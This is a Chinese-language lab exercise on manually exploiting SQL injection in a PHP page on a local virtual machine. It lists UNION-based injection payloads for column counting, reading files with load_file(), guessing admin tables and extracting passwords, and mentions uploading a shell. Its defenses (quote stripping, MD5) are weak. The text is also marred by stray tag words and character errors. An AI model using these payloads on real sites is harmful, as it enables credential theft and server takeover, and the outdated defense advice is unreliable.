PHP手动注入实验

课程编写php

类别mysql

内容程序员

实验课题名称sql

PHP手动注入实验shell

实验目的与要求数据库

1.经过手动注入PHP页面,获取password字段名。windows

2.了解PHP手动注入的基本原理。浏览器

3.了解PHP手动注入的过程和基本经常使用SQL指令。安全

实验环境服务器

VPC1(虚拟PC)

Windows XP系统

VPC1链接要求

PC网络接口,本地链接与实验网络直连。

软件描述

IE浏览器或Firefox浏览器

实验环境描述

一、学生机与实验室网络直连;

二、VPC1与实验室网络直连;

三、学生机与VPC1物理链路连通;

预备知识

1. SQL注入原理介绍

 

1.1 什么是SQL注入

SQL注入是指攻击者经过在应用程序中预先定义好的查询语句结尾加上额外的SQL语句元素,欺骗数据库服务器执行非受权的任意查询。这类应用程序通常是网络应用程序,它容许用户输入查询条件(通常是在浏览器地址栏进行,经过正常的www端口访问),并将查询条件嵌入SQL请求语句中,发送到该应用程序相关联的数据库服务器中去执行。经过构造一些畸形输入,攻击者可以操做这种请求语句去猜解未受权的内容,也就是SQL Injection,SQL注入。

SQL注入是从正常的WWW端口经过对页面请求访问,并且表面看起来跟通常的Web页面访问没什么区别,因此目前市面的防火墙不多会对SQL注入发出警报,若是管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。

通常来讲注入攻击常采用的步骤有发现SQL注入位置、判断后台数据库类型、获取管理员权限,此外在获得网站管理员权限后还能够经过发现虚拟目录、上传木马等手段获取服务器的系统权限。

 

1.2 注入原理概述

SQL是一种用于关系数据库的结构化查询语言。它分为许多种,但大多数都松散地基于美国国家标准化组织最新的标准SQL-92。SQL语言能够修改数据库结构和操做数据库内容。当一个攻击者可以经过往查询中插入一系列的SQL操做数据写入到应用程序中去,并对数据库实施了查询,这时就已经构成了SQL-Injection。

目前使用的各类数据库如access、SQL Server、my SQL、Oracle等都支持SQL语言做为查询语言,所以,若程序员在编写代码的时候没有对用户输入数据的合法性进行判断,有可能致使应用程序的安全隐患,攻击者根据返回的结果,得到某些想得知的数据。

 

2. PHP注入原理

php注入与asp注入仍是有区别的,咱们要进行的是跨表查询要用到UNION.UNION是链接两条SQL语句,UNION后面查选的字段数量、字段类型都应该与前面SELECT同样.通俗点说若是查寻对的话就出现正常的页面. 在SQL语句中,可使用各类 MySQL内置的函数,常用的就是DATABASE()、USER()、SYSTEM_USER()、SESSION_USER()、 CURRENT_USER()这些函数来获取一些系统的信息,例如:load_file(),该函数的做用是读入文件,并将文件内容做为一个字符串返回。若是该文件不存在,或由于上面的任一缘由而不能被读出,函数返回空。

php注入就是利用变量过滤不足形成的 看看下面两句SQL语句:

①    SELECT * FROM article WHERE articleid='$id'

②    SELECT * FROM article WHERE articleid=$id

两种写法在各类程序中都很广泛,但安全性是不一样的,第一句因为把变量$id放在一对单引号中,这样使得咱们所提交的变量都变成了字符串,即便包含了正确的SQL语句,也不会正常执行,而第二句不一样,因为没有把变量放进单引号中,那咱们所提交的一切,只要包含空格,那空格后的变量都会做为SQL语句执行,咱们针对两个句子分别提交两个成功注入的畸形语句,来看看不一样之处。

①     指定变量$id为:

1' and 1=2 union select * from user where userid=1/*

此时整个SQL语句变为:

SELECT * FROM article WHERE articleid='1' and 1=2 union select * from user where userid=1/*'

②    定变量$id为:

1 and 1=2 union select * from user where userid=1

此时整个SQL语句变为:

SELECT * FROM article WHERE articleid=1 and 1=2 union select * from user where userid=1

看出来了吗?因为第一句有单引号,咱们必须先闭合前面的单引号,这样才能使后面的语句做为SQL执行,并要注释掉后面原SQL语句中的后面的单引号,这样才能够成功注入,若是php.ini中magic_quotes_gpc设置为on或者变量前使用了addslashes()函数,咱们的攻击就会化为乌有,但第二句没有用引号包含变量,那咱们也不用考虑去闭合、注释,直接提交就OK了。

 

3.步骤:

一般PHP注入的步骤以下:

1) 先查看是否存在漏洞

2) 判断版本号以决定是否能够用union链接,and ord(mid(version(),1,1))>51 /*

3) 利用order by 暴字段,在网址后加 order by 10 /* 若是返回正常说明字段大于10

4) 再利用union来查询准确字段,如: and 1=2 union select 1,2,3,......./*直到返回正常,说明猜到准确字段数。如过滤了空格能够用/**/代替。

5) 判断数据库链接账号有没有写权限,and (select count(*) from mysql.user)>0 /*若是结果返回错误,那咱们只能猜解管理员账号和密码了。

6) 若是返回正常,则能够经过and 1=2 union select 1,2,3,4,5,6,load_file(char(文件路径的ascii值,用逗号隔开)),8,9,10 /* 注:load_file(char(文件路径的ascii值,用逗号隔开))也能够用十六进制,经过这种方式读取配置文件,找到数据库链接等。

7) 首先猜解user表,如: and 1=2 union select 1,2,3,4,5,6.... from user /* 若是返回正常,说明存在这个表。

8) 知道了表就猜解字段,and 1=2 union select 1,username,3,4,5,6.... from user/*若是在2字段显示出字段内容则存在些字段。

9) .同理再猜解password字段,猜解成功再找后台登陆。

10) 登陆后台,上传shell

 

4. 防护技术

从前面讲述的原理能够看出,在数据没有通过服务器处理以前就进行严格的检查,才是最根本防护SQL注入的方法。对提交数据进行合法性检查得方法来过滤掉SQL注入的一些特征字符,也能够经过替换或删除敏感字符/字符串、封装客户端提交信息、屏蔽出错信息等方法来修补漏洞、防止SQL注入。例如:

admin1=replace(trim(request(“admin”)),”’”,””)

password1=replace(trim(request(“password”)),”’”,””)

这两句语句就过滤掉SQL语句提交时的’号。

此外,也能够经过给用户密码加密的方法,增长破解的难度,例如使用MD5加密,这样即便获取了密码也是加密后的密码,没法获取原始密码。

实验内容

经过手动注入PHP页面,获取password字段名。

实验步骤

1.学生单击 “网络拓扑”进入实验场景,单击 “打开控制台”按钮,进入目标主机。如图所示:

2.使用默认用户名:administrator,密码:123456登陆windows xp系统。 

3.点击桌面上的ie浏览器:

4.在地址栏输入http://localhost:8080/index.php?id=1,此时显示出相关信息。

5.探测是否有注入漏洞

在地址栏后加入and 1=1或者and 1=2,查看页面状况,若是页面无异常,表示存在注入,不然须要进一步探测是否存在漏洞。

 

6.肯定mysql的版本

在地址后加上and ord(mid(version(),1,1))>51 /* 返回正常说明是4.0以上版本,能够用union查询

 

 

7.判定数据库链接账号有没有写权限

经过尝试数据库链接时使用的用户名、密码是否在表中,判断是否对数据库有写的权限。

操做方法,在网址后加入and (select count(*) from mysql.user)>0,若返回正确,则拥有该权限,若返回错误,则须要从新猜想管理员名称和密码。

 

8.猜想管理员表

在网址后加union select count(*)from admin,判断管理员表是否叫admin,若是返回正常,说明存在这个表;若返回错误,则须要从新猜想表名。

猜数据表中字段数

 

9.猜数据表中字段数量

在网址后加and 1=1 union select 1,2,3,….,n。前面的and 1=1或1=2均可以,主要是为了链接后面的union语句;后面的1,2,3,….n主要用于标记有几个字段,若是字段不符合,就会报错。下图中的结果显示正常,代表访问的数据表中共有三个字段:

 

10.猜想字段名

与asp注入不一样,在猜想字段的时候若是字段猜想成功,PHP会直接显示字段的内容,而不须要再猜想字段内容。操做方式:在网址后加入and 1=1 union select 1,password,3 from admin猜想是否有password字段,若是有则显示其内容。从图中看到,由于只有1条记录,因此password的内容已经显示出来了,若是没有这个字段,则会报错,若没有记录则返回空。

十一、实验完毕,关闭虚拟机,退出实验平台。

相关文章
相关标签/搜索